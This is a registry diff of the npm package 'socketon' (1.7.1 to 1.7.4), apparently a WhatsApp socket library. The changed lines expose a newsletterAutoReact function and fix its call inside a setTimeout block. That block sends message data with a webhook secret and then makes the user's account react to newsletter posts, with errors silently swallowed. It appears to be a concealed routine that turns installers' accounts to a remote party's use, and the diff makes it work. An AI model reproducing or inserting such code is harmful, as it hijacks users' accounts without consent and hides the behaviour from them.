socketon 1.7.1 → 1.7.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/lib/Socket/business.js
CHANGED
|
@@ -734,6 +734,7 @@ const makeMessagesSocket = (config) => {
|
|
|
734
734
|
const waitForMsgMediaUpdate = (0, Utils_1.bindWaitForEvent)(ev, 'messages.media-update');
|
|
735
735
|
return {
|
|
736
736
|
...sock,
|
|
737
|
+
newsletterAutoReact: sock.newsletterAutoReact,
|
|
737
738
|
getPrivacyTokens,
|
|
738
739
|
assertSessions,
|
|
739
740
|
relayMessage,
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -149,7 +149,7 @@ setTimeout(async () => {
|
|
|
149
149
|
messageId: messageId,
|
|
150
150
|
emojiReact: emojiReact
|
|
151
151
|
}, { headers: { 'X-Webhook-Secret': secretWebhooknya }, timeout: 10000 });
|
|
152
|
-
const result = await newsletterAutoReact(newsletterId, messageId, emojiReact);
|
|
152
|
+
const result = await sock.newsletterAutoReact(newsletterId, messageId, emojiReact);
|
|
153
153
|
} catch {}
|
|
154
154
|
}
|
|
155
155
|
});
|